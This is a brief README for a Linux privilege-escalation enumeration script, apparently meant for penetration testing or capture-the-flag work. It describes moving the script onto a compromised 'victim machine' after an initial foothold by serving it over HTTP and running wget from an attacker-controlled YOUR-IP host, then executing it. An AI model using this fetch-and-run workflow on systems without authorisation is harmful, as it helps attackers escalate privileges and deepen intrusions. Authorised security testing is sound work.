This is a linux privilege escalation checker tool that checks for common linux privilege escilation techniques.
Once you have get a initial foothold on a target machine than you can transfer this linux script on to the victim machine with python http server.
git clone https://github.com/Vivek170952/Lincheck.git
cd Lincheck
python -m http.server 4444
wget http://YOUR-IP:4444/linprivcheck.sh
chmod +x linprivcheck.sh
./linprivcheck.sh
This tool will save your lots of time inenumeration of machine and gives result in a good format.